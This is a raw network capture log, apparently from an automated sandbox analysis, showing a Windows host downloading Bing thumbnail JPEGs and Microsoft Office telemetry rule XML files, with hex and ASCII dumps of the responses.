2024-12-06 23:15:46 UTC	856	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 570617 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: AF6CB2B1DC824F19A39208908366CD10 Ref B: EWR311000104031 Ref C: 2024-12-06T23:15:46Z Date: Fri, 06 Dec 2024 23:15:46 GMT Connection: close
2024-12-06 23:15:46 UTC	15528	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 14 aa 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 34 2e 34 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 30 35 3a 31 33 20 31 38 3a 30 36 3a 33 37 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 04 38 a0 03 00 04 00 00 00 01 00 00 07 80 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``ExifMM*bj(1r2i``Adobe Photoshop 24.4 (Windows)2023:05:13 18:06:378
2024-12-06 23:15:46 UTC	16384	IN	Data Raw: 26 bc bc 55 4a 76 48 f4 28 c6 6b 52 d5 8a f9 b0 ef ab 51 ae ca 77 91 b3 ee 53 b6 d7 9a f5 67 48 6e fe 0a ab 3d b4 7e 4f c9 57 76 53 28 1a 30 6e 96 4b 7f bf 0d 36 0b 9d ff 00 3f fc b3 ad 9b e5 8d e1 ac 69 2c fc af 9f c9 f3 23 ad a3 24 f7 11 6a 0f 2e 58 77 d5 88 3f 75 55 ed 65 82 28 7f e7 9d 58 8e 78 de a1 8d 13 fd f8 6b 07 58 f0 f4 1a 84 db fc e9 a3 92 b7 a3 68 e8 9d 63 7a 51 93 8b ba 15 93 47 1b 75 e1 5b 0b 2f df ff 00 ac 93 fe 7a 57 2f 7d 67 ad 26 a1 23 bf 9d 27 fc f3 92 bd 57 ec de 6f df aa 1a e6 8b 05 c4 3f f4 d2 3f f5 75 d5 4f 15 24 fd ed 4c a5 45 35 a6 87 8b 49 ab ea d6 97 77 30 5d 79 de 5f 99 ff 00 1f 35 ad a6 cf 22 5a 46 fa 8f 93 71 ff 00 3d 6b a1 f1 56 99 1e a1 a4 c8 8f fb b9 23 ff 00 5b 50 78 7f 41 ff 00 89 7f cf 37 ee eb d1 f6 d4 e5 0b b5 66 72 Data Ascii: &UJvH(kRQwSgHn=~OWvS(0nK6?i,#$j.Xw?uUe(XxkXhczQGu[/zW/}g&#'Wo??uO$LE5Iw0]y_5"ZFq=kV#[PxA7fr
2024-12-06 23:15:46 UTC	16384	IN	Data Raw: ce ff 00 5d 55 f5 02 7f b4 d1 e9 70 6a b1 f9 df 3c de 5d 6f 68 fa e3 a4 3f 3c d5 e3 6f ad 4f fc 15 a9 a5 6b 52 25 a4 7b eb 2a 98 0d 0d 69 66 51 6f 53 dc 2c 75 58 de ad 4f 79 be 1f 92 bc cb 43 d6 7f 81 e6 ad b8 f5 0d f0 ff 00 ae af 2a a6 15 c5 9e ac 31 0a 4a e5 ad 72 59 22 9b 7a 7e f2 8b 1d 42 4f e3 f2 6b 3a ea 7d ff 00 23 cd fb ca c6 d4 b5 39 2d e6 ae 88 51 72 5c a8 ce 55 63 1d 59 da 47 a8 49 4d 93 5c f2 ab 8b fe df 8f f7 68 f3 54 fa aa ce 96 9f 6a 4a 5f 55 57 d4 9f ac 26 bd d3 af fe d7 8d ea 69 35 0f dc d7 99 c1 af 48 9f 7f f7 75 62 3d 7a 77 87 e4 aa 78 19 10 b1 91 7d 4f 41 fe d0 aa b7 d7 d1 cb f7 ff 00 e5 9d 70 1f db 93 cb 36 c4 ff 00 59 5a 16 ad 77 77 0f 9f 47 d5 39 35 60 b1 5c fa 23 a2 92 e7 fe 9b 54 d1 cf 1a ff 00 cb 6a e3 f5 2b 3d 4a 28 7c ef b6 43 Data Ascii: ]Upj<]oh?<oOkR%{ifQoS,uXOyC1JrY"z~BOk:}#9-Qr\UcYGIM\hTjJ_UW&i5Hub=zwx}OAp6YZwwG95`\#Tj+=J(\|C
2024-12-06 23:15:46 UTC	16384	IN	Data Raw: 7a 71 a4 ba 93 2a e5 a9 e7 aa b2 4f 25 37 75 32 46 8e b4 8c 52 39 a5 52 ef 71 fe 7c 94 cf 36 97 9a 39 aa 44 73 48 4d f4 cd de f4 51 54 2e 61 e8 d4 ff 00 32 3a af ba 8d d4 ac 0a a7 62 59 1a 3a 8b 75 37 75 43 fb ca 7c a4 3a 8d 93 79 f4 cf 3e a2 db 25 3b 6e ca d1 a4 ba 19 f3 36 3e 4a 6f 95 49 53 54 8d 2b 95 e4 a8 a4 59 2a 79 3c ba 82 49 e3 4f b9 56 9b 66 72 b2 20 92 0d f5 0c 91 6c ab 12 5c ef a8 a4 6d f5 a2 bf 53 9e 5e cc 8b cb a2 a6 e6 8a 64 72 a0 db 1d 3b 6c 74 9e 54 94 ff 00 29 ea 4d 51 16 ca 66 da b5 b6 88 e0 a5 cc 83 95 95 76 d2 f9 55 67 c8 a6 f9 14 73 20 e5 64 5e 55 1b 2a 78 e2 a3 6d 17 2b 90 83 ca a7 79 55 62 38 a9 fb 4d 27 2b 07 21 4b ca a7 79 52 55 df 2e 8a 5c e3 e4 2a c6 b4 d9 22 fe e5 5c db 1d 3f ca 8e 97 30 7b 34 cc dd 94 6c ab fe 5d 37 c8 8e 9f Data Ascii: zqO%7u2FR9Rq\|69DsHMQT.a2:bY:u7uC\|:y>%;n6>JoIST+Yy<IOVfr l\mS^dr;ltT)MQfvUgs d^Uxm+yUb8M'+!KyRU.\"\?0{4l]7
2024-12-06 23:15:47 UTC	16384	IN	Data Raw: 7e ee 8d a6 8d 92 50 03 79 a3 9a 93 6c 94 79 74 ee 3b 04 6b be ac 47 14 74 c8 22 91 e6 f9 2a ec 16 33 ff 00 1d 65 29 d8 a8 c5 99 ff 00 66 df 35 4d 04 11 c5 5a 3f 60 a9 60 b6 4a cf db 5b a9 7e c8 ab e5 46 f4 e4 83 65 5a 91 63 4a 37 c7 59 5c d7 94 ab f6 68 ff 00 d6 54 be 54 95 2e ed f4 df dd a5 17 6c 14 12 2a c8 b3 f9 df 25 11 b4 ff 00 f3 c6 ad 6e a7 46 d4 dc 93 e8 1c a5 68 e7 93 ee 3f fa ca 64 8d 57 24 8e 37 a8 fe cb 4a e8 41 04 bb 21 a9 3c f8 ea 39 22 d9 55 67 8b fb 94 80 b9 e7 d3 64 96 b2 24 96 44 9a 8f 3e 47 a7 60 35 e3 9f 65 3a 3b 9d f5 93 1f 98 f4 e8 e2 92 8b 06 a6 97 da aa 48 ee 63 ac 49 d6 44 a6 79 b2 25 16 03 a1 df 4b cd 61 c7 79 22 55 c8 ef b7 c3 f3 d2 2b 98 d0 e6 9c 95 97 f6 ea b5 6b 79 be 80 e6 25 9e a2 8e 5a 65 c5 cd 55 9e 4f e3 49 aa 83 98 bb Data Ascii: ~Pylyt;kGt"3e)f5MZ?``J[~FeZcJ7Y\hTT.l%nFh?dW$7JA!<9"Ugd$D>G`5e:;HcIDy%Kay"U+ky%ZeUOI
2024-12-06 23:15:47 UTC	16384	IN	Data Raw: e9 1b ec f9 36 32 ff 00 c0 39 4a f5 27 15 24 ac ac 68 a4 d2 67 0b 75 a5 69 b7 b7 76 3a 74 f7 97 76 5a 57 da 6d a3 d6 a4 96 6d ef 27 fb 5f 27 f0 a7 fb 3f 35 3b c5 b7 d1 db fc 37 f0 ff 00 87 93 5e bb b8 92 4f 11 a5 c7 95 e5 23 d9 db c5 fe ae 39 37 fd e5 ff 00 81 57 51 ac 69 56 1a 9d a7 d9 7c ef b3 dd 47 a6 c3 1d cc 7f ee a6 f5 ff 00 79 ab cc f5 8d 53 4f f1 1e 93 a0 de db 45 77 b3 fb 46 6b 7d 46 da 28 76 ec 8a 4f 99 11 dd 7f d6 f3 fa 57 4d 39 36 d1 85 4f 72 fd d9 ef d2 2e 9b a3 f8 b3 44 d4 6c ac fe d1 f6 7d 5a c2 39 3f 7b f2 6f fd ef cb fe ce 7e 4a e4 3e 1e de 6c f1 0c 8f 7b 67 0f db a4 bd 86 4b 9f 2b ee 6c df fb c4 db fe d5 60 ff 00 66 49 a1 78 67 fb 2e 09 a6 b6 fb 3e b5 6d 77 6d 1c bb fe fb 23 fc a9 fe c2 56 cf 85 67 93 53 f1 e4 6f fe ae d6 e2 f7 cb 97 ca Data Ascii: 629J'$hguiv:tvZWmm'_'?5;7^O#97WQiV\|GySOEwFk}F(vOWM96Or.Dl}Z9?{o~J>l{gK+l`fIxg.>mwm#VgSo
2024-12-06 23:15:47 UTC	16384	IN	Data Raw: 13 b6 9b 71 a4 c7 a7 c9 a3 fd 8e 79 2e 7c cf 32 e6 2f f5 e9 b3 e4 89 bb 7f df 35 26 87 67 06 9f 75 fb b8 2d 2e 2d 24 8d fe d3 1f 95 fe c7 c9 b1 bf bc 1a ad da db 0b 48 65 b5 4b 48 a3 86 e3 f7 72 47 e5 7f f1 55 2c 72 da 4d 34 89 fe b1 e3 fd dc 9e 67 fc b3 af 37 fb 46 a4 2a 46 a4 3a 79 69 f7 19 73 54 6d 4a 2f 52 2f 18 5e 7f 6d 78 9b fb 5f 51 9a 2b 7b a9 2d a1 8e 49 3c ad 9f ea d3 67 fc 0b fe 05 51 47 6d 1c be 5e f9 7c cf fb 64 9f 7b fd 96 db 4e 82 74 8b f7 2f f7 e3 ff 00 9e 72 ff 00 f1 3e b5 62 c5 a4 b8 fd f2 43 75 fb b8 de 3f 32 48 b7 ef ff 00 80 b5 61 88 c4 d5 ad 52 55 6a 3d 5e ec c6 54 e7 55 bb bd ca f6 fb 13 cc 77 f2 b7 c7 fe e3 be ff 00 f8 0d 4d 77 13 a4 df 24 d7 5e 64 9f f4 c9 21 ff 00 be aa bd a7 9e 90 f9 27 4e f2 fc c8 ff 00 77 79 e5 26 f4 ff 00 62 Data Ascii: qy.\|2/5&gu-.-$HeKHrGU,rM4g7F*F:yisTmJ/R/^mx_Q+{-I<gQGm^\|d{Nt/r>bCu?2HaRUj=^TUwMw$^d!'Nwy&b
2024-12-06 23:15:47 UTC	16069	IN	Data Raw: df e5 c7 17 c9 ff 00 01 f4 ff 00 c7 ab 43 c4 5e 18 bb b2 ba b9 d2 ed 6c ee fc cd 3e dd ee e4 f2 a2 77 fd d7 de ff 00 5f ff 00 b2 b5 66 41 aa d8 2e 9f f6 59 b4 7b bd f1 fe f3 ed 12 44 9f bb ff 00 6b e4 e6 a1 91 a7 96 1d e9 79 36 a3 1c 97 3e 7f 97 2e a1 36 cd ff 00 de 91 3f f8 aa d6 31 a6 96 bc c9 fa ab 7d c6 b3 a1 83 54 23 4b 99 cb d3 44 bd 74 36 fc 1f ae 7f 67 e9 f6 da a5 ad e4 d6 f7 d2 6f 8f cb f9 fc ef ee aa ee fe 3d d5 a3 6b ac f8 5b 5d ff 00 90 ee 8f 0e 9d e5 c9 ff 00 1f b6 b1 6c 4f fb 6b 07 dd 7f f7 93 6d 72 ba 3c 92 69 f3 5e cd ab dd cd 1c 32 5b 4d f6 29 2d a2 4d 91 dc 7f cb 2f 93 f9 d6 e7 8d f4 7d 09 34 3d 27 50 d1 75 e9 75 0d 57 ca b6 93 ec d1 8f dc fd a3 ef 4a d2 2b 8d 89 ed 15 54 30 fa b9 c6 49 2f 5f d3 41 c6 33 a5 45 4a 9c 92 8a 5a c5 bb df d1 Data Ascii: C^l>w_fA.Y{Dky6>.6?1}T#KDt6go=k[]lOkmr<i^2[M)-M/}4='PuuWJ+T0I/_A3EJZ
2024-12-06 23:15:47 UTC	16384	IN	Data Raw: 79 6d e4 5b 5c fc 8f 0b ed fe f3 57 65 e1 ff 00 0f 68 bf d9 36 36 57 53 7d 9e ea de 47 fb 6d cd b4 bf 3d bf 99 0f fe 3d fd ef 2f f8 be 6a db be f0 86 b5 17 c4 2b 19 f4 bd 1f ed b2 47 e4 c7 a6 fd 9a ed 12 1f b5 6c 4f 32 4f 9f fe fa 3f dd a8 9e 32 14 a4 e1 27 66 2f 62 df bd 63 1b fb 3f 4d b5 f1 96 93 fd a3 0c 52 7f 65 6c fb 14 96 31 6c 7b 88 95 37 2f fb 2f b7 fe fb ae a3 c1 7a 9e a5 77 ae 5c f8 96 eb fb 73 41 be d4 7f 77 25 cd b7 c8 ff 00 2f dc 6f 9f fb cb d6 b7 3e 23 2b dd da 6a 5a 75 97 d9 23 d6 34 ab 97 8e 3b 29 62 44 4b 84 fb 8f e4 48 ff 00 eb 7f 7b fe cf dd a9 fc 23 05 dd ef c3 3f ec b4 bc fb 46 ab 1d eb fd b6 db 52 ff 00 48 b6 b4 b5 78 7e 5f 96 5f be bb b7 aa b4 6d f2 57 cf d6 c6 fb 4a 7e d2 51 b3 b5 b5 7b 2f c4 e9 a2 ec ed ea ec 6c f8 67 5e 82 cb 56 Data Ascii: ym[\Weh66WS}Gm==/j+GlO2O?2'f/bc?MRel1l{7//zw\sAw%/o>#+jZu#4;)bDKH{#?FRHx~__mWJ~Q{/lg^V
2024-12-06 23:15:47 UTC	16384	IN	Data Raw: 5f dc 7f cb 48 fc dd f2 ff 00 df 5f 7e a1 d6 3c 43 f6 58 e3 85 e6 96 e2 7f f5 7f f3 d9 ff 00 ef 85 ac 4b ed 4f c5 13 7c 96 be 15 8b c8 f3 3f e3 f7 57 85 2d 13 ff 00 1c f9 ab 4a 74 b1 15 15 dc ac ba 5d a4 bf 1b 7f 99 bb 8b 94 6c 95 fd 74 3a 3b 56 d5 97 fd 16 6b bf 32 19 3f d5 ff 00 1a 47 fe cd 45 24 b1 a4 7b 1e 1f b1 ff 00 d7 39 6a ad 8d a2 4d 17 fa 56 a5 2d c7 fd 33 8f e4 8b fe fd ff 00 f5 eb 46 de c6 f1 ff 00 73 3e a3 f6 7f 2f fe 79 ff 00 cb 3f f8 0d 63 3e 48 bd d7 e4 72 d4 4e 2d f2 15 64 5b b6 96 37 86 6b 59 23 8f fe 7a 7d ff 00 fb e9 69 7c a8 e2 97 ec bf 64 fb 1c 92 47 fe b2 3b ad fe 65 68 a7 d8 ed f4 df b2 f9 52 de 79 72 7e ee e3 e4 df ff 00 8e ff 00 0d 45 1f 90 f3 79 29 e7 79 7f f3 cf ee 79 7f f0 1a 9f 68 f5 b2 d0 c9 29 43 e3 8e a5 09 1a d2 5f 91 e1 Data Ascii: _H_~<CXKO\|?W-Jt]lt:;Vk2?GE${9jMV-3Fs>/y?c>HrN-d[7kY#z}i\|dG;ehRyr~Ey)yyh)C_

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.6	49826	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:46 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:46 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:46 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 83778e64-b01e-0070-6d05-481cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231546Z-r1cf579d77898tqwhC1EWRf9q800000000s0000000005kah x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-06 23:15:46 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.6	49827	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:46 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:46 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:46 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: f6e8c48a-401e-000a-8008-484a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231546Z-r1cf579d778w59f9hC1EWRze6w000000011g0000000006hy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:46 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.6	49829	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:46 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:46 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:46 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 8332a10a-c01e-0079-4304-48e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231546Z-r1cf579d778t5c2lhC1EWRce3w00000001c00000000058d8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:46 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.6	49830	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:47 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:47 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:47 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: e8b3d2c0-701e-0050-0b05-486767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231547Z-r1cf579d778t6txphC1EWRsd44000000013g00000000a46p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:47 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.6	49831	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:47 UTC	375	OUT	GET /th?id=OADD2.10239355218553_1LXSNCROYYRJXQ4E3&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-12-06 23:15:47 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 695138 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: DE402B14F37346F584CB82221EE29FE2 Ref B: EWR30EDGE0422 Ref C: 2024-12-06T23:15:47Z Date: Fri, 06 Dec 2024 23:15:47 GMT Connection: close
2024-12-06 23:15:47 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 15 42 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 34 2e 34 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 30 35 3a 31 33 20 31 38 3a 30 35 3a 35 33 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``BExifMM*bj(1r2i``Adobe Photoshop 24.4 (Windows)2023:05:13 18:05:538
2024-12-06 23:15:48 UTC	16384	IN	Data Raw: f2 a4 a3 c8 92 ab 99 09 a6 ca 14 da bd f6 3a 3e c3 56 e6 85 ca ca 7f bb a7 7e ee ac 7d 92 9b 25 b4 89 47 32 1f 2b 21 db 07 a5 49 b6 3a 4f 22 4a 77 95 4d bb 05 85 da 69 d1 c7 44 71 d3 a3 5a 96 ee 32 6f 22 93 ca a7 a7 99 53 73 53 71 d8 af 4e 8d a9 d2 7c f4 d8 d6 8b 87 2b 1f e6 d3 3c fa 76 d3 ff 00 3d a9 7c aa 2e 16 12 39 77 d4 9c d1 cd 26 fa 41 60 92 99 4f df 4c 91 a9 dc 41 bb de 9b ba 8a 6c 8d 25 30 0d a6 a1 92 0f ee 54 d1 b4 94 ef de 50 05 3f 22 4a 67 91 25 5d 91 77 d4 3b 64 aa e6 02 0f 2a 4a 67 97 25 58 a6 d3 4e e2 b0 c8 e2 a7 f9 14 6e a3 75 3d 46 3b c8 8e 8f 29 2a 2f 36 8f 36 93 4d 81 3f 91 1d 2f 95 1d 57 f3 64 a7 ef 92 8e 40 2c 6d 8e 93 e4 aa bb e9 79 